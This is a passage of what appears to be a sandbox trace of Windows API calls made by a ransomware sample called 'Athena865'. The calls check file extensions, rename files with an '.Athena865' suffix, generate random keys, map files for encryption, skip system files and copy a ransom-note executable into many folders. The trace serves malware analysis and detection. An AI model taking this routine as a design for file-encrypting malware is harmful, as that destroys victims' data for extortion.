(lpString1="DLL", lpString2="odb") returned -1 [0118.082] lstrlenW (lpString="odb") returned 3 [0118.082] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0118.082] lstrlenW (lpString="oqy") returned 3 [0118.082] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0118.082] lstrlenW (lpString="ora") returned 3 [0118.082] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0118.082] lstrlenW (lpString="orx") returned 3 [0118.082] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0118.082] lstrlenW (lpString="owc") returned 3 [0118.082] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0118.082] lstrlenW (lpString="p96") returned 3 [0118.083] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0118.083] lstrlenW (lpString="p97") returned 3 [0118.083] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0118.083] lstrlenW (lpString="pan") returned 3 [0118.083] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0118.083] lstrlenW (lpString="pdb") returned 3 [0118.083] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0118.083] lstrlenW (lpString="pdm") returned 3 [0118.083] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0118.083] lstrlenW (lpString="pnz") returned 3 [0118.083] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0118.083] lstrlenW (lpString="qry") returned 3 [0118.083] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0118.083] lstrlenW (lpString="qvd") returned 3 [0118.083] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0118.083] lstrlenW (lpString="rbf") returned 3 [0118.083] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0118.083] lstrlenW (lpString="rctd") returned 4 [0118.083] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0118.083] lstrlenW (lpString="rod") returned 3 [0118.083] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0118.083] lstrlenW (lpString="rodx") returned 4 [0118.083] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0118.083] lstrlenW (lpString="rpd") returned 3 [0118.083] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0118.083] lstrlenW (lpString="rsd") returned 3 [0118.083] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0118.083] lstrlenW (lpString="sas7bdat") returned 8 [0118.083] lstrcmpiW (lpString1="SOSV.DLL", lpString2="sas7bdat") returned 1 [0118.083] lstrlenW (lpString="sbf") returned 3 [0118.083] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0118.084] lstrlenW (lpString="scx") returned 3 [0118.084] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0118.084] lstrlenW (lpString="sdb") returned 3 [0118.084] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0118.084] lstrlenW (lpString="sdc") returned 3 [0118.084] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0118.084] lstrlenW (lpString="sdf") returned 3 [0118.084] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0118.084] lstrlenW (lpString="sis") returned 3 [0118.084] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0118.084] lstrlenW (lpString="spq") returned 3 [0118.084] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0118.084] lstrlenW (lpString="te") returned 2 [0118.084] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0118.084] lstrlenW (lpString="teacher") returned 7 [0118.084] lstrcmpiW (lpString1="OSV.DLL", lpString2="teacher") returned -1 [0118.084] lstrlenW (lpString="tmd") returned 3 [0118.084] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0118.084] lstrlenW (lpString="tps") returned 3 [0118.084] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0118.084] lstrlenW (lpString="trc") returned 3 [0118.084] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0118.084] lstrlenW (lpString="trc") returned 3 [0118.084] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0118.084] lstrlenW (lpString="trm") returned 3 [0118.084] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0118.084] lstrlenW (lpString="udb") returned 3 [0118.084] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0118.084] lstrlenW (lpString="udl") returned 3 [0118.084] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0118.084] lstrlenW (lpString="usr") returned 3 [0118.084] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0118.085] lstrlenW (lpString="v12") returned 3 [0118.085] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0118.085] lstrlenW (lpString="vis") returned 3 [0118.085] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0118.085] lstrlenW (lpString="vpd") returned 3 [0118.085] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0118.085] lstrlenW (lpString="vvv") returned 3 [0118.085] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0118.085] lstrlenW (lpString="wdb") returned 3 [0118.085] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0118.085] lstrlenW (lpString="wmdb") returned 4 [0118.085] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0118.085] lstrlenW (lpString="wrk") returned 3 [0118.085] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0118.085] lstrlenW (lpString="xdb") returned 3 [0118.085] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0118.085] lstrlenW (lpString="xld") returned 3 [0118.085] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0118.085] lstrlenW (lpString="xmlff") returned 5 [0118.085] lstrcmpiW (lpString1="V.DLL", lpString2="xmlff") returned -1 [0118.085] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL.Athena865") returned 78 [0118.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll.athena865"), dwFlags=0x1) returned 1 [0118.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.094] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=44936) returned 1 [0118.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.095] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.095] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.095] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.095] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb290, lpName=0x0) returned 0x17c [0118.097] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb290) returned 0x100000 [0118.100] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.100] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.100] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0118.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0118.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.101] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.102] CloseHandle (hObject=0x17c) returned 1 [0118.102] CloseHandle (hObject=0x154) returned 1 [0118.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.102] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0118.102] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0118.102] ReleaseMutex (hMutex=0xec) returned 1 [0118.102] CloseHandle (hObject=0xec) returned 1 [0118.102] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions" [0118.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533148 | out: hHeap=0x4f0000) returned 1 [0118.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52af48 | out: hHeap=0x4f0000) returned 1 [0118.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions") returned 68 [0118.103] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F60C94F5FD6332B5BC315632A87B2AB7") returned 0xec [0118.103] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0118.103] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions" [0118.103] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0118.103] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\how to back your files.exe"), bFailIfExists=1) returned 0 [0118.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0118.104] GetLastError () returned 0x0 [0118.104] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0118.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552140 [0118.104] ReadFile (in: hFile=0xf4, lpBuffer=0x552140, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552140*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0118.105] CloseHandle (hObject=0xf4) returned 1 [0118.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.105] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0118.105] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xce100640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce100640, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0118.105] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.105] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.105] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0118.105] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xce100640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce100640, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.105] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.105] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.105] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0118.105] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0118.105] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0118.105] lstrcmpiW (lpString1="14", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.105] lstrcmpiW (lpString1="14", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.105] lstrcmpiW (lpString1="14", lpString2=".") returned 1 [0118.105] lstrcmpiW (lpString1="14", lpString2="..") returned 1 [0118.105] lstrcmpiW (lpString1="14", lpString2="windows") returned -1 [0118.105] lstrcmpiW (lpString1="14", lpString2="bootmgr") returned -1 [0118.106] lstrcmpiW (lpString1="14", lpString2="temp") returned -1 [0118.106] lstrcmpiW (lpString1="14", lpString2="pagefile.sys") returned -1 [0118.106] lstrcmpiW (lpString1="14", lpString2="boot") returned -1 [0118.106] lstrcmpiW (lpString1="14", lpString2="ids.txt") returned -1 [0118.106] lstrcmpiW (lpString1="14", lpString2="ntuser.dat") returned -1 [0118.106] lstrcmpiW (lpString1="14", lpString2="perflogs") returned -1 [0118.106] lstrcmpiW (lpString1="14", lpString2="MSBuild") returned -1 [0118.106] lstrlenW (lpString="14") returned 2 [0118.106] lstrcpyW (in: lpString1=0x241e8d2, lpString2="14" | out: lpString1="14") returned="14" [0118.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52af48 [0118.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x90) returned 0x533148 [0118.106] lstrcatW (in: lpString1="14", lpString2="\\" | out: lpString1="14\\") returned="14\\" [0118.106] lstrcatW (in: lpString1="14\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="14\\HOW TO BACK YOUR FILES.exe") returned="14\\HOW TO BACK YOUR FILES.exe" [0118.106] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\how to back your files.exe"), bFailIfExists=1) returned 1 [0118.116] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce100640, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce100640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0118.116] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0118.116] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce100640, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce100640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0118.116] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0118.117] ReleaseMutex (hMutex=0xec) returned 1 [0118.117] CloseHandle (hObject=0xec) returned 1 [0118.117] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" [0118.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f6d0 | out: hHeap=0x4f0000) returned 1 [0118.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft") returned 53 [0118.117] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\3515EB4F0AD662A8ECA31D9EAD3942CC") returned 0xec [0118.117] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0118.117] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" [0118.117] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0118.117] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0118.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0118.118] GetLastError () returned 0x0 [0118.118] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0118.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552140 [0118.118] ReadFile (in: hFile=0xf4, lpBuffer=0x552140, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552140*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0118.119] CloseHandle (hObject=0xf4) returned 1 [0118.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.119] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0118.119] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce14c900, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce14c900, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0118.119] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.119] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.119] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0118.119] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce14c900, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce14c900, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.119] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.119] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.119] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0118.119] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0118.119] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce14c900, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce14c900, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0118.119] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0118.119] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0118.119] lstrcmpiW (lpString1="TTS20", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.120] lstrcmpiW (lpString1="TTS20", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.120] lstrcmpiW (lpString1="TTS20", lpString2=".") returned 1 [0118.120] lstrcmpiW (lpString1="TTS20", lpString2="..") returned 1 [0118.120] lstrcmpiW (lpString1="TTS20", lpString2="windows") returned -1 [0118.120] lstrcmpiW (lpString1="TTS20", lpString2="bootmgr") returned 1 [0118.120] lstrcmpiW (lpString1="TTS20", lpString2="temp") returned 1 [0118.120] lstrcmpiW (lpString1="TTS20", lpString2="pagefile.sys") returned 1 [0118.120] lstrcmpiW (lpString1="TTS20", lpString2="boot") returned 1 [0118.120] lstrcmpiW (lpString1="TTS20", lpString2="ids.txt") returned 1 [0118.120] lstrcmpiW (lpString1="TTS20", lpString2="ntuser.dat") returned 1 [0118.120] lstrcmpiW (lpString1="TTS20", lpString2="perflogs") returned 1 [0118.120] lstrcmpiW (lpString1="TTS20", lpString2="MSBuild") returned 1 [0118.120] lstrlenW (lpString="TTS20") returned 5 [0118.120] lstrcpyW (in: lpString1=0x241e8b4, lpString2="TTS20" | out: lpString1="TTS20") returned="TTS20" [0118.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f6d0 [0118.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x502aa8 [0118.120] lstrcatW (in: lpString1="TTS20", lpString2="\\" | out: lpString1="TTS20\\") returned="TTS20\\" [0118.120] lstrcatW (in: lpString1="TTS20\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="TTS20\\HOW TO BACK YOUR FILES.exe") returned="TTS20\\HOW TO BACK YOUR FILES.exe" [0118.120] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\how to back your files.exe"), bFailIfExists=1) returned 0 [0118.121] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, 